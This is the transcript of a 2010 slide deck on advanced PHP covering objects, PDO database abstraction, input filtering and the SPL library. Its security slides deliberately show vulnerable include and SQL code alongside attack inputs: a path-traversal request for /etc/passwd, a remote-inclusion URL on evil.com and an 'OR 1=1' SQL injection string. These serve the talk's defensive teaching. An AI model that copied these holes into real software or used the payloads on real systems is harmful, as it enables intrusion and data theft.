advanced php - macq electronique 2010

88
Advanced PHP Macq Electronique, Brussels 2010 Michelangelo van Dam

Upload: michelangelo-van-dam

Post on 17-May-2015

3.765 views

Category:

Technology


6 download

DESCRIPTION

Advanced view on PHP development with objects and classes explained, abstraction and security and the hidden gem SPL.

TRANSCRIPT

Page 1: Advanced Php - Macq Electronique 2010

Advanced PHPMacq Electronique, Brussels 2010

Michelangelo van Dam

Page 2: Advanced Php - Macq Electronique 2010

Targeted audience

developersgeeks

software engineersgraduates computer science

Page 3: Advanced Php - Macq Electronique 2010

Michelangelo van Dam

• Independent Consultant

• Zend Certified Engineer (ZCE)

- PHP 4 & PHP 5

- Zend Framework• Co-Founder of PHPBenelux• Shepherd of “elephpant” herds

Page 4: Advanced Php - Macq Electronique 2010

For more information, please check out our website http://www.macqel.eu

TAIL ORMAD E SO LU T IO NS

Macq électronique, manufacturer and developer, proposes you a whole series of electronic and computing-processing solutions for industry, building and road traffic.

Macq électronique has set itself two objectives which are essential for our company :

developing with competence and innovation earning the confidence of our customers

Macq électronique presents many references carried out the last few years which attest to its human and technical abilities to meet with the greatest efficiency the needs of its customers.

Page 5: Advanced Php - Macq Electronique 2010

Advanced PHP

Classes & ObjectsAbstraction

SecurityPHP Hidden Gems

Page 6: Advanced Php - Macq Electronique 2010

Classes & Objects

Page 7: Advanced Php - Macq Electronique 2010

Classes

• Class defines an object- constant features- properties- methods- magic• can inherit object properties and methods• can provide a basis for a multitude of objects

?

Page 8: Advanced Php - Macq Electronique 2010

Object Simplified

properties methods- cycling- sitting- steering- paddling

constants- color- material- brand- type

Page 9: Advanced Php - Macq Electronique 2010

Database Objects

Useridfullnameusernamepasswordemail

Page 10: Advanced Php - Macq Electronique 2010

Functional Objects

MathaddValue($value)subtractValue($value)multiplyValue($value)divideValue($value)

Page 11: Advanced Php - Macq Electronique 2010

Objects in PHP<?phpclass MyClass{ public $property;

public function setProperty($property) { $this->property = $property; return $this; } public function getProperty() { return $this->property; } }

$my = new MyClass;$my->setProperty('Test');var_dump($my);

// outputsobject(MyClass)#1 (1) { ["property"]=> string(4) "Test"}

Page 12: Advanced Php - Macq Electronique 2010

And why is this better ?

• Uniform approach for data• Reuse of data structures and content• Providing a common vocabulary- when I say bicycle, everyone knows- when I say table User data, it gets trickier• Might be useful on other data sources as well- database- CSV files- web service- streams

Page 13: Advanced Php - Macq Electronique 2010

Demo

Page 14: Advanced Php - Macq Electronique 2010

Abstraction

Page 15: Advanced Php - Macq Electronique 2010

DRY

Page 16: Advanced Php - Macq Electronique 2010

Example data+----+----------+----------------------------------+| id | username | password |+----+----------+----------------------------------+| 1 | test1 | 5a105e8b9d40e1329780d62ea2265d8a | | 2 | test2 | ad0234829205b9033196ba818f7a872b | +----+----------+----------------------------------+

Page 17: Advanced Php - Macq Electronique 2010

Database type

Page 18: Advanced Php - Macq Electronique 2010

Getting data…<?php

if (false !== ($conn = mysql_connect('localhost','test',''))) { if (true === ($db = mysql_select_db('test'))) { $results = mysql_query('SELECT * FROM user', $conn); echo '<table>' . PHP_EOL; while ($row = mysql_fetch_assoc($results)) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL; } echo '</table>' . PHP_EOL; }}

// outputs:

<table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr></table>

Page 19: Advanced Php - Macq Electronique 2010

But what if…

Page 20: Advanced Php - Macq Electronique 2010

Database type changes

Page 21: Advanced Php - Macq Electronique 2010

oops !

Page 22: Advanced Php - Macq Electronique 2010

PDO

• PHP Data Objects- consistent interface- accessing databases- included since PHP 5.1 (PECL since 5.0)• data-access abstraction layer- same functions (methods)- different database products

Page 23: Advanced Php - Macq Electronique 2010

Getting data with PDO<?php

try { $pdo = new PDO('mysql:dbname=test;host=localhost', 'test', '');} catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage();}$results = $pdo->query('SELECT * FROM user');echo '<table>' . PHP_EOL;foreach ($results as $row) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL;}echo '</table>' . PHP_EOL;

// outputs:

<table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr></table>

informix, sqlite, pgsql, oci8, mssql,…

Page 24: Advanced Php - Macq Electronique 2010

Demo

Page 25: Advanced Php - Macq Electronique 2010

Security

Page 26: Advanced Php - Macq Electronique 2010

Threats

• Known threats- cyber criminal attacks- competitors espionage- bad users providing faulty data (intentionally)• Lesser known treats- users providing faulty data (not intentionally)- services not responding- bad, untested, changed code- …

Page 27: Advanced Php - Macq Electronique 2010

Rule #1Filter input, escape output

Page 28: Advanced Php - Macq Electronique 2010

Unfiltered data…include $_GET['filename'];

…$sql = 'SELECT * FROM test WHERE username=' . $_POST['username'] . ' AND password=MD5(' . $_POST['password'] . ')';$results = $pdo->query($sql);

Page 29: Advanced Php - Macq Electronique 2010

Blows up in your face…include $_GET['file'];

when callingscript.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

orscript.php?file=http%3A%2F%2Fevil.com%2Fscript.php

…$sql = 'SELECT * FROM test WHERE username=\'' . $_POST['username'] . '\' AND password=MD5(' . $_POST['password'] . ')';$results = $pdo->query($sql);

What happens when you post for username: “test' OR 1=1; --”

You want to run this in your MySQL client ???SELECT * FROM test WHERE username='test' OR 1=1; --' AND password=MD5()

Page 30: Advanced Php - Macq Electronique 2010

Filtering & Validation

• Filtering : modifying data before validation- trim whitespaces- put everything in lower case- stripping HTML-tags- …• Validation: check if the data meets conditions- data type (string, integer, float, object, …)- string length- is a valid email address- …

Page 31: Advanced Php - Macq Electronique 2010

unescaped output

• wrong encoding on pages ( � )• translates html code into encoded entities• cross site scripting (XSS)• uncontrolled output of user generated content• …

Page 32: Advanced Php - Macq Electronique 2010

Escaping output<?php

$string = "O'Reilly sells <b>great</b> books";

echo htmlentities($string, ENT_QUOTES, 'UTF-8') . PHP_EOL;// outputs: O&#039;Reilly sells &lt;b&gt;great&lt;/b&gt; books

Page 33: Advanced Php - Macq Electronique 2010

Demo

Page 34: Advanced Php - Macq Electronique 2010

PHP’s Hidden Gem

Page 35: Advanced Php - Macq Electronique 2010

SPL

Page 36: Advanced Php - Macq Electronique 2010

What is SPL ?

Standard PHP Libraryinterfaces, classes and methods

solve common development challenges

Available since PHP 5.0 !!!

As of 5.3 SPL cannot be turned off from the source !

Page 37: Advanced Php - Macq Electronique 2010

SPL by Marcus Börger

Ittteerrrattor

Page 38: Advanced Php - Macq Electronique 2010

Definition of SPL

SPL provides a huge toolkit that assists you to easily iterate over a diversity of data structures in a standardized way

Page 39: Advanced Php - Macq Electronique 2010

What does it provide ?

• ArrayObject - approach arrays as objects• Iterators - various iterators• Interfaces - iterator interfaces for your objects• Exceptions - exceptions to streamline error handling• SPL Functions - extra functions and autoloader func• SplFileInfo - tools for filesystem access• Data structures - structuring data sequences

Page 40: Advanced Php - Macq Electronique 2010

<?php phpinfo(); ?>

Page 41: Advanced Php - Macq Electronique 2010

ArrayObject

• provides an interface- treat arrays as objects- elements are iteratable- provides serializing and deserializing of arrays- sorting elements (w/ or w/o callback methods)- exchange elements with other arrays or objects

Page 42: Advanced Php - Macq Electronique 2010

ArrayObject Example<?php

$myArray = array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger',);

$obj = new ArrayObject($myArray);print_r($obj);

$obj->uasort(function ($a, $b) { if ($a == $b) { return 0; } return ($a < $b) ? -1 : 1;});print_r($obj);

Page 43: Advanced Php - Macq Electronique 2010

ArrayObject outputArrayObject Object( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [test] => Sebastian Bergmann [iterate] => Marcus Börger )

)ArrayObject Object( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [iterate] => Marcus Börger [test] => Sebastian Bergmann )

)

Page 44: Advanced Php - Macq Electronique 2010

More of ArrayObject…

// serializing object for caching, sessions, …$obj->serialize();

// adding more key/value elements to the stack$obj->offsetSet('enterprise', 'Ivo Jansch');

// removing by key$obj->offsetUnset('time');

Page 45: Advanced Php - Macq Electronique 2010

Iterator

• provides a common interface• to iterate over “things”- xml data- database data- arrays• move back and forth in a stack• distinct methods to access keys and values• specific iterators for different purposes

Page 46: Advanced Php - Macq Electronique 2010

Advantage ?

• Reusable code- data structures can change- object oriented❖ extending❖ refactoring❖ overloading

Page 47: Advanced Php - Macq Electronique 2010

Example

• retrieve data in an array• with items filtered out

Page 48: Advanced Php - Macq Electronique 2010

FilterIterator Example<?php

class filterOut extends FilterIterator{ private $_filter;

public function __construct(Iterator $it, $filter) { parent::__construct($it); $this->_filter = $filter; }

public function accept() { $key = $this->getInnerIterator()->key(); return ($key == $this->_filter) ? false : true; } }

Page 49: Advanced Php - Macq Electronique 2010

FilterIterator output<?php

$myArray = array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger',);$obj = new ArrayObject($myArray);

$iterator = new filterOut($obj->getIterator(), 'time');

foreach ($iterator as $item) { var_dump($item);}

//ouputsstring(18) "Sebastian Bergmann"string(13) "Marcus Börger"

Page 50: Advanced Php - Macq Electronique 2010

DirectoryIterator

• dealing with files and directories• looping back and forth between files• sorting files w/ or w/o custom sorting algorithms

Page 51: Advanced Php - Macq Electronique 2010

Example

• show an list of archive files• ordered with last archive first

Page 52: Advanced Php - Macq Electronique 2010

Directory contents$ ls archives/datafile-20090901.csv datafile-20090906.csv datafile-20090911.csv datafile-20090916.csv datafile-20090921.csv datafile-20090926.csvdatafile-20090902.csv datafile-20090907.csv datafile-20090912.csv datafile-20090917.csv datafile-20090922.csv datafile-20090927.csvdatafile-20090903.csv datafile-20090908.csv datafile-20090913.csv datafile-20090918.csv datafile-20090923.csv datafile-20090928.csvdatafile-20090904.csv datafile-20090909.csv datafile-20090914.csv datafile-20090919.csv datafile-20090924.csv datafile-20090929.csvdatafile-20090905.csv datafile-20090910.csv datafile-20090915.csv datafile-20090920.csv datafile-20090925.csv datafile-20090930.csv

Page 53: Advanced Php - Macq Electronique 2010

SortableDirectorIterator<?phpclass SortableDirectoryIterator extends DirectoryIterator{ public function sortUp() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? -1 : 1; }); return $storage; } public function sortDown() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? 1 : -1; }); return $storage; }

Page 54: Advanced Php - Macq Electronique 2010

Our Storage Container… protected function _getStorage() { $obj = new ArrayObject(); foreach ($this as $file) { if ($file->isDot()) continue; $obj->offsetSet($file->getFileName(), $file->getFileInfo()); } return $obj; }}

$dir = new SortableDirectoryIterator('./archives');$sortObj = $dir->sortDown();$iterator = $sortObj->getIterator();while ($iterator->valid()) { echo $iterator->current()->getPathName() . PHP_EOL; $iterator->next();}

Page 55: Advanced Php - Macq Electronique 2010

Descending filenames./archives/datafile-20090930.csv./archives/datafile-20090929.csv./archives/datafile-20090928.csv./archives/datafile-20090927.csv./archives/datafile-20090926.csv./archives/datafile-20090925.csv./archives/datafile-20090924.csv./archives/datafile-20090923.csv./archives/datafile-20090922.csv./archives/datafile-20090921.csv./archives/datafile-20090920.csv./archives/datafile-20090919.csv./archives/datafile-20090918.csv./archives/datafile-20090917.csv./archives/datafile-20090916.csv

./archives/datafile-20090915.csv

./archives/datafile-20090914.csv

./archives/datafile-20090913.csv

./archives/datafile-20090912.csv

./archives/datafile-20090911.csv

./archives/datafile-20090910.csv

./archives/datafile-20090909.csv

./archives/datafile-20090908.csv

./archives/datafile-20090907.csv

./archives/datafile-20090906.csv

./archives/datafile-20090905.csv

./archives/datafile-20090904.csv

./archives/datafile-20090903.csv

./archives/datafile-20090902.csv

./archives/datafile-20090901.csv

Page 56: Advanced Php - Macq Electronique 2010

RecursiveIteratorIterator

• iterates over existing iterator• over multiple levels• easy to flatten out nested array structures• controlling recursive interactions

Page 57: Advanced Php - Macq Electronique 2010

ExampleChuck Norris

Account Manager

Jane DoeProject Manager

CinderellaDeveloper

ShrekGraphical Designer

John DoeProject Manager

Page 58: Advanced Php - Macq Electronique 2010

RecursiveIteratorIterator<?php$company = array ( array ( 'name' => 'Chuck Norris','position' => 'Account Manager', 'manages' => array ( array ( 'name' => 'Jane Doe','position' => 'Project Manager', 'manages' => array ( array ( 'name' => 'Cinderella','position' => 'Developer', 'manages' => array (), ), array ( 'name' => 'Shrek','position' => 'Graphical Designer', 'manages' => array (), ), ), ), array ( 'name' => 'John Doe','position' => 'Project Manager', 'manages' => array (), ), ), ),);

Page 59: Advanced Php - Macq Electronique 2010

Flattened Array output$iterator = new RecursiveArrayIterator(new ArrayObject($company));$ritit = new RecursiveIteratorIterator($iterator);foreach ($ritit as $key => $value) { echo $key . ' = ' . $value . PHP_EOL;}

// outputsname = Chuck Norrisposition = Account Managername = Jane Doeposition = Project Managername = Cinderellaposition = Developername = Shrekposition = Graphical Designername = John Doeposition = Project Manager

Page 60: Advanced Php - Macq Electronique 2010

Interfaces

• Countable: an internal counter• OuterIterator: iteration over inner iterators• RecursiveIterator: iterating in an recursive way• SeekableIterator: an internal stack seeker• SplObserver: implements observer pattern• SplSubject: implements observer pattern

Page 61: Advanced Php - Macq Electronique 2010

Interface example<?php// file: Order.php

class Order implements Countable, SplSubject{ protected $_orders; protected $_count;

public function __construct() { $this->_count = 0; $this->_orders = array (); }

public function placeOrder() { $this->_count++; }

public function attach(SplObserver $observer) { $this->_orders[] = $observer; }

public function detach(SplObserver $observer) { // not used in this case }

Page 62: Advanced Php - Macq Electronique 2010

Interface Example (2) public function notify() { foreach ($this->_orders as $obj) { $obj->update($this); } }

public function count() { return $this->_count; }}

<?php// file: PlaceOrder.php

class PlaceOrder implements SplObserver{ public function update(SplSubject $order) { echo 'We have ' . count($order) . ' orders now' . PHP_EOL; }}

Page 63: Advanced Php - Macq Electronique 2010

Running Interface Example<?php

require_once 'Order.php';require_once 'PlaceOrder.php';

$order = new Order();$placeOrder = new PlaceOrder();

$order->attach($placeOrder);$order->notify();

$order->placeOrder();$order->notify();

$order->placeOrder();$order->notify();

$ php ./spl_observer.php We have 0 orders nowWe have 1 orders nowWe have 2 orders now

Page 64: Advanced Php - Macq Electronique 2010

SPL Exceptions

• SPL Exceptions- templates- throw exceptions- common issues• Types of exceptions- LogicExceptions- RuntimeExceptions

Page 65: Advanced Php - Macq Electronique 2010

SPL LogicException Tree

Page 66: Advanced Php - Macq Electronique 2010

SPL RuntimeException Tree

Page 67: Advanced Php - Macq Electronique 2010

Exceptions Example<?php//file: spl_exception01.phpclass MyClass{ public function giveANumberFromOneToTen($number) { if($number < 1 || $number > 10) { throw new OutOfBoundsException('Number should be between 1 and 10'); } echo $number . PHP_EOL; }}

$my = new MyClass();try { $my->giveANumberFromOneToTen(5); $my->giveANumberFromOneToTen(20);} catch (OutOfBoundsException $e) { echo $e->getMessage() . PHP_EOL;}

Output:$ /usr/bin/php ./spl_exception01.php5Number should be between 1 and 10

Page 68: Advanced Php - Macq Electronique 2010

SplFunctions

• functions for PHP and SPL in particular• often dealing with auto loading• some for internal referencing

Page 69: Advanced Php - Macq Electronique 2010

SplFunctions Example<?php

interface foo {}interface bar {}

class baz implements foo, bar {}class example extends baz {}

var_dump(class_implements(new baz));

var_dump(class_implements(new example));

Page 70: Advanced Php - Macq Electronique 2010

Output of SplFunctionsarray(2) { ["foo"]=> string(3) "foo" ["bar"]=> string(3) "bar"}array(2) { ["bar"]=> string(3) "bar" ["foo"]=> string(3) "foo"}

Page 71: Advanced Php - Macq Electronique 2010

SPLFileInfo

The SplFileInfo class offers a high-level object oriented interface to information for an individual file.

Page 72: Advanced Php - Macq Electronique 2010

SplFileInfo Example<?php

// use the current file to get information from$file = new SplFileInfo(dirname(__FILE__));

var_dump($file->isFile());var_dump($file->getMTime());var_dump($file->getSize());var_dump($file->getFileInfo());var_dump($file->getOwner());

//outputbool(false)int(1244760945)int(408)object(SplFileInfo)#2 (0) {}int(501)

Page 73: Advanced Php - Macq Electronique 2010

Processing CSV with SPLConsider the following data.csv

Derick Rethans;timeSebastian Bergmann;testMarcus Börger;iterateIvo Jansch;enterpriseMatthew Weier O'Phinney;extendMichelangelo van Dam;elephpant

Page 74: Advanced Php - Macq Electronique 2010

SPL usage on CSV<?php$info = new SplFileInfo('data.csv');if ($info->isReadable()) { $file = $info->openFile(); $file->setFlags(SplFileObject::READ_CSV); $file->setCsvControl(';','"'); foreach ($file as $row) { list ($user, $term) = $row; if (null !== $user && null !== $term) { echo $user . ' is known for ' . $term . PHP_EOL; } } }

//outputsDerick Rethans is known for timeSebastian Bergmann is known for testMarcus Börger is known for iterateIvo Jansch is known for enterpriseMatthew Weier O'Phinney is known for extendMichelangelo van Dam is known for elephpant

Page 75: Advanced Php - Macq Electronique 2010

Data Structures

• Available in PHP 5.3• SplDoublyLinkedList- SplStack- SplQueue- SplHeap- SplMaxHeap- SplMinHeap- SplPriorityQueue

Page 76: Advanced Php - Macq Electronique 2010

Data Structures Example<?php// file: spl_stack01.php$stack = new SplStack();$stack->push('Message 1');$stack->push('Message 2');$stack->push('Message 3');

echo $stack->pop() . PHP_EOL;echo $stack->pop() . PHP_EOL;echo $stack->pop() . PHP_EOL;

Outputs:$ /usr/bin/php ./spl_stack01.php Message 3Message 2Message 1

Page 77: Advanced Php - Macq Electronique 2010

SplHeap

• SplHeap is an abstract class- SplMinHeap implements SplHeap (low » high)- SplMaxHeap implements SplHeap (high » low)• stacking values w/o FIFO, FILO order

Page 78: Advanced Php - Macq Electronique 2010

Simple SplHeap example<?php

$heap = new SplMinHeap;$heap->insert(5);$heap->insert(2);$heap->insert(8);$heap->insert(6);

$heap->top();while ($heap->valid()) { echo $heap->key() . ': ' . $heap->current() . PHP_EOL; $heap->next();}

//outputs3: 22: 51: 60: 8

Page 79: Advanced Php - Macq Electronique 2010

JupilerLeague w/ SplHeap<?phpclass JupilerLeague extends SplHeap{ public function compare($array1, $array2) { $values1 = array_values($array1); $values2 = array_values($array2); if ($values1[0] === $values2[0]) return 0; return $values1[0] < $values2[0] ? -1 : 1; }}

$heap = new JupilerLeague();$heap->insert(array ('AA Gent' => 15)); $heap->insert(array ('Anderlecht' => 20));$heap->insert(array ('Cercle Brugge' => 11)); $heap->insert(array ('Charleroi' => 12));$heap->insert(array ('Club Brugge' => 21)); $heap->insert(array ('G. Beerschot' => 15));$heap->insert(array ('Kortrijk' => 10)); $heap->insert(array ('KV Mechelen' => 18));$heap->insert(array ('Lokeren' => 10)); $heap->insert(array ('Moeskroen' => 7));$heap->insert(array ('Racing Genk' => 11)); $heap->insert(array ('Roeselare' => 6));$heap->insert(array ('Standard' => 20)); $heap->insert(array ('STVV' => 17));$heap->insert(array ('Westerlo' => 10)); $heap->insert(array ('Zulte Waregem' => 15));

$heap->top();while ($heap->valid()) { list ($team, $score) = each ($heap->current()); echo $team . ': ' . $score . PHP_EOL; $heap->next();}

Page 80: Advanced Php - Macq Electronique 2010

JupilerLeague ScoreboardClub Brugge: 21Anderlecht: 20Standard: 20KV Mechelen: 18STVV: 17Zulte Waregem: 15AA Gent: 15G. Beerschot: 15Charleroi: 12Racing Genk: 11Cercle Brugge: 11Kortrijk: 10Lokeren: 10Westerlo: 10Moeskroen: 7Roeselare: 6

Page 81: Advanced Php - Macq Electronique 2010

Conclusion

SPL can help you solve common PHP issuesit’s built-in, so why not use it

it requires no “advanced skills” to use

Page 82: Advanced Php - Macq Electronique 2010

SPL is not all good

• Matthew “Elazar” Turland pointed out:- Performance could be better (SPLStack)- ArrayObject doesn’t support all array

functions• See his presentation:

http://ishouldbecoding.com/publications

Page 83: Advanced Php - Macq Electronique 2010

Recommended Reading

Zend PHP 5 Certification Study Guidephp|architect

Davey ShafikBen Ramsey

Page 84: Advanced Php - Macq Electronique 2010

Recommended Reading

Object-Oriented Programming with PHP5Packt Publishing

Hasin Hayder

Page 85: Advanced Php - Macq Electronique 2010

Recommended Reading

The PHP AnthologySitepoint

Davey ShafikMatthew Weier O’PhinneyLigaya TurmelleHarry FuecksBen Balbo

Page 86: Advanced Php - Macq Electronique 2010

Recommended Reading

Essential PHP SecurityO’Reilly

Chris Shiflett

Page 87: Advanced Php - Macq Electronique 2010

Credits

I want to believe - Official X-files movie posterhttp://www.xfiles.com

Composition No. 10. 1939-42. Piet Mondrian (WikiPedia Faire Use License)http://en.wikipedia.org/wiki/File:Mondrian_Comp10.jpg

Security - amelungchttp://flickr.com/photos/amelungc/3383538729

Warhol Inspired Gems - Jayt74http://flickr.com/photos/jayt74/3910181470

Page 88: Advanced Php - Macq Electronique 2010

Questions ?

Slides on SlideSharehttp://www.slideshare.net/group/macqel

Give feedback !http://joind.in/1257